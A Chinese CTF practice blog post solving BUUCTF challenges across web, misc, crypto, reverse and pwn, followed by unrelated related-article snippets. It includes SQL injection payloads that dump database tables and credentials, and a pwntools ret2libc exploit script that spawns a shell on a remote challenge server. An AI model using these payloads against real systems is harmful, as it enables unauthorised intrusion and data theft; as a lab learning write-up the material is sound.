寒假1.26

题解

web:[极客大挑战 2019]Havefun

打开是一个猫猫的图片

查看源代码

就是一个简单的get传参,直接在url后面输入cat=dog即可

 有点水,再来一题

[极客大挑战 2019]LoveSQL

熟悉的界面,不熟悉的注入

尝试上次的方法,注入万能密码试试

' or '1'='1'#

得到一串乱码,疑似是flag ,但是输入是错误的

登录admin界面试试,还是回显这个界面

 不过好处是可以得知注入类型为字符型,闭合方式为单引号闭合

尝试爆字段

username=1' order by 3#时

username=1' order by 4# 时

说明字段数为3

查字段,第三个字段是password

1' union select 1,2,3 #

 

爆库名

1' union select 1,2,database() #

 

联合爆表

1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #

 得到两个表名geekuser和l0ve1ysq1,题目名字就叫loveSQL,先爆第二个表的字段

1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #

 最后爆一下内容

1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #

 flag{bdcc52c2-84d6-4c78-b608-20f7aefbb6c4}

misc:梅花香之苦寒来

参考:【BUUCTF】梅花香自苦寒来_buuctf 梅花香之苦寒来-CSDN博客

下载附件,得到一张图片

查看图片属性,没有什么东西

用010打开文件夹,搜索jpg文件尾FF D9,有一堆16进制编码

 复制在新建的文本文件中

这里可以用随波逐流直接16进制转文件

也可以写脚本转成文件

# 读取十六进制表示的文本文件
with open('C:\\Users\\aran\\Desktop\\1234567890.txt', 'r') as h:val = h.read()# 将转换后的字符写入新的文本文件
with open('C:\\Users\\aran\\Desktop\\6666.txt', 'w') as re:for i in range(0, len(val), 2):# 每两个字符组成一个十六进制数,转换为整数,再转换为ASCII字符hex_val = int(val[i:i+2], base=16)ascii_char = chr(hex_val)# 打印并写入转换后的字符print(ascii_char, end="")re.write(ascii_char)

 得到一大串类似于坐标的东西

联想到前面说的你会画图吗,猜想这些坐标是用来画图的

使用gnuplot进行画图,使用gnuplot之前需要先将坐标格式转换成gnuplot可以识别的格式

with open('result.txt', 'r') as res:  # 坐标格式文件比如(7,7)re = res.read()res.close()with open('gnuplotTxt.txt', 'w') as gnup:   # 将转换后的坐标写入gnuplotTxt.txtre = re.split()tem = ''for i in range(0, len(re)):tem = re[i]tem = tem.lstrip('(')tem = tem.rstrip(')')for j in range(0, len(tem)):if tem[j] == ',':tem = tem[:j] + ' ' + tem[j+1:]gnup.write(tem + '\n')gnup.close()

转化完格式后,将转化后的2.txt放在gnuplot的目录下

plot "2.txt"

得到二维码

最后扫描即可得到flag

crypto:[AFCTF2018]Morse

下载附件,是一个摩斯密码

随波逐流解码

提交是错的,大写转小写试试

还是不行,仔细观察字符串发现字符串由数字和字母组成,并且字母没有超过F的,于是尝试用HEX解密 ,就可以了

reverse:[WUSTCTF2020]level3

下载附件,exeinfope查看,64位无壳

ida打开,查看主函数

puts函数那里有一串base64编码,解码一下,解不出来

再翻翻左边的函数,有一个长得很丑的,点进去看,找到了base64加密变表的函数

将加密表变换一下写个解密exp

import base64
b64table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'b64tablelst=list(b64table)
for i in range(0,10):v1=b64tablelst[i]b64tablelst[i]=b64tablelst[19-i]result=19-ib64tablelst[result]=v1
new_b64table=''
for i in range(0,len(b64tablelst)):new_b64table+=b64tablelst[i]print(new_b64table)
enb64="d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="
flag=base64.b64decode(enb64.translate(str.maketrans(b64table,new_b64table)))
print(flag)

pwn:ciscn_2019_en_2

exeinfope查看,64位无壳

ida64打开,查看主函数,,先是一个嵌套循环,然后输入v4的值,根据v4值来执行下面的代码

输入1进入encrypt()函数内,然后利用gets函数可以实现栈溢出攻击

没有system函数,shift+F12找找有没有/bin/sh/

并没有

跟昨天那个题有点相似了,应该也是构造rop链

思路:通过put函数泄露libc地址,然后拿到system函数和/bin/sh字符串实现攻击。

exp:

from pwn import *
from LibcSearcher import *elf = ELF("C:\Users\aran\Downloads\ciscn_2019_en_2")p = remote("node5.buuoj.cn",28274)main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']pop_rdi_ret = 0x0000000000400c83payload1 = b'a'*(0x50+0x8) +p64(pop_rdi_ret)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')payload2 = b'a'*(0x50+0x8) + p64(0x04006b9)+p64(pop_rdi_ret)#ret_addr=0x04006b9
payload2+=p64(bin_addr)+ p64(sys_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload2)
p.interactive()

由于要安装libcsearcher库,俺安了一天也没安好(昨天也一直在安库),先安着,等会再来看

知识点

16进制编码特征:使用16个字符来表示数据,这些字符分别是0-9的数字和A-F的字母。其中,A-F分别代表10-15的十进制数值。值得注意的是,16进制编码中的字母不区分大小写,即a-f和A-F是等价的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/69327.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python GUI 开发 | Qt Designer — 工具介绍

关注这个框架的其他相关笔记:Python GUI 开发 | PySide6 & PyQt6 学习手册-CSDN博客 Qt Designer 即 Qt 设计师,是一个强大、灵活的可视化 GUI 设计工具,可以帮助用户加快开发 PySide6 程序的速度。 Qt Designer 是专门用来制作 PySide6…

【第九天】零基础入门刷题Python-算法篇-数据结构与算法的介绍-六种常见的图论算法(持续更新)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、Python数据结构与算法的详细介绍1.Python中的常用的图论算法2. 图论算法3.详细的图论算法1)深度优先搜索(DFS)2&#xf…

基于回归分析法的光伏发电系统最大功率计算simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于回归分析法的光伏发电系统最大功率计算simulink建模与仿真。选择回归法进行最大功率点的追踪,使用光强和温度作为影响因素,电压作为输出进行建模。…

使用Ollama部署deepseek大模型

Ollama 是一个用于部署和管理大模型的工具,而 DeepSeek 是一个特定的大模型。以下是如何使用 Ollama 部署 DeepSeek 大模型的步骤: 1. 安装 Ollama 首先,你需要在你的系统上安装 Ollama。你可以通过以下命令来安装: # 假设你已…

嵌入式蓝桥杯电子赛嵌入式(第14届国赛真题)总结

打开systic 生成工程编译查看是否有问题同时打开对应需要的文档 修改名称的要求 5.简单浏览赛题 选择题,跟单片机有关的可以查相关手册 答题顺序 先从显示开始看 1,2 所以先打开PA1的定时器这次选TIM2 从模式、TI2FP2二通道、内部时钟、1通道设为直接2通道设置…

SuperAGI - 构建、管理和运行 AI Agent

文章目录 一、关于 SuperAGI💡特点🛠 工具包 二、⚙️安装☁️SuperAGI云🖥️本地🌀 Digital Ocean 三、架构1、SuperAGI 架构2、代理架构3、代理工作流架构4、Tools 架构5、ER图 一、关于 SuperAGI SuperAGI 一个开发优先的开源…

FLTK - FLTK1.4.1 - demo - adjuster.exe

文章目录 FLTK - FLTK1.4.1 - demo - adjuster.exe概述笔记根据代码,用fluid重建一个adjuster.fl 备注 - fluid生成的代码作为参考代码好了修改后可用的代码END FLTK - FLTK1.4.1 - demo - adjuster.exe 概述 想过一遍 FLTK1.4.1的demo和测试工程,工程…

缓存策略通用分布式缓存解决方案

Cache Aside(旁路缓存)策略 Cache Aside(旁路缓存)策略是一种在应用程序中协调缓存与数据库交互的常用策略,是使用最多的策略。 基本原理 读操作:应用程序首先尝试从缓存中读取数据,如果缓存…

本地大模型编程实战(03)语义检索(2)

文章目录 准备按批次嵌入加载csv文件,分割文档并嵌入测试嵌入效果总结代码 上一篇文章: 本地大模型编程实战(02)语义检索(1) 详细介绍了如何使用 langchain 实现语义检索,为了演示方便,使用的是 langchain 提供的内存数据库。 在实…

sql中INNER JOIN、LEFT JOIN、RIGHT JOIN

INNER JOIN 的作用 INNER JOIN 只会将相关联表匹配到的数据进行展示 假设我们有两个表:sys_user和 sys_user_role SELECT s1.* from sys_user s1 INNER JOIN sys_user_role s2 on s1.id s2.user_id 这样只会展示s1.id s2.user_id相匹配到的数据,其他数…

Vue 3 中的 toRef 与 toRefs:使用与案例解析

在 Vue 3 的响应式系统中,toRef 和 toRefs 是两个非常实用的工具函数。它们主要用于将响应式对象的属性转换为单独的 ref,以便在模板或逻辑中更方便地使用。本文将详细介绍 toRef 和 toRefs 的用法,并通过一个老师信息的案例来演示它们的实际…

以太网详解(六)OSI 七层模型

文章目录 OSI : Open System Interconnect(Reference Model)第七层:应用层(Application)第六层:表示层(Presentation)第五层:会话层(Session)第四…

单片机基础模块学习——DS18B20温度传感器芯片

不知道该往哪走的时候,就往前走。 一、DS18B20芯片原理图 该芯片共有三个引脚,分别为 GND——接地引脚DQ——数据通信引脚VDD——正电源 数据通信用到的是1-Wier协议 优点:占用端口少,电路设计方便 同时该协议要求通过上拉电阻…

在每一次灵感碰撞中,见证成长的蜕变--24年年度总结

我也来写一个年度总结吧。从24年8月5号开始了职业生涯的第一篇创作,当时刚好被拉去封闭开发了,做一个保密的AI赋能业务的项目。当时写博客的初衷是为了记录项目中遇到的一些问题以及技术栈的使用、原理剖析等,从而让自己快速成长。没想到文章…

基于paddleocr的表单关键信息抽取

全流程如下: 数据集 XFUND数据集是微软提出的一个用于KIE任务的多语言数据集,共包含七个数据集,每个数据集包含149张训练集和50张验证集分别为: ZH(中文)、JA(日语)、ES(西班牙)、FR(法语)、IT(意大利)、DE(德语)、PT(葡萄牙)&a…

AIGC视频扩散模型新星:Video 版本的SD模型

大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细介绍慕尼黑大学携手 NVIDIA 等共同推出视频生成模型 Video LDMs。NVIDIA 在 AI 领域的卓越成就家喻户晓,而慕尼黑大学同样不容小觑,…

深度解析:基于Vue 3的教育管理系统架构设计与优化实践

一、项目架构分析 1. 技术栈全景 项目采用 Vue 3 TypeScript Tailwind CSS 技术组合,体现了现代前端开发的三大趋势: 响应式编程:通过Vue 3的Composition API实现细粒度响应 类型安全:约60%的组件采用TypeScript编写 原子化…

运用python进行多任务学习过程中,手动调整权重时,如何选择项目并确定合适的权重值?

在手动调整多任务学习中不同任务的损失权重时,确定合适的权重值是一个需要细致考虑的问题。以下是一些基于最新研究和实践的方法和策略: 第一部分:手动调整权重确定合适的权重值 1. 基于任务的重要性 方法:根据任务的重要性手动分配权重。例如,如果一个任务对最终性能的影…

aws(学习笔记第二十六课) 使用AWS Elastic Beanstalk

aws(学习笔记第二十六课) 使用aws Elastic Beanstalk 学习内容: AWS Elastic Beanstalk整体架构AWS Elastic Beanstalk的hands onAWS Elastic Beanstalk部署node.js程序包练习使用AWS Elastic Beanstalk的ebcli 1. AWS Elastic Beanstalk整体架构 官方的guide AWS…

视频多模态模型——视频版ViT

大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细解读多模态论文《ViViT: A Video Vision Transformer》,2021由google 提出用于视频处理的视觉 Transformer 模型,在视频多模态领域有…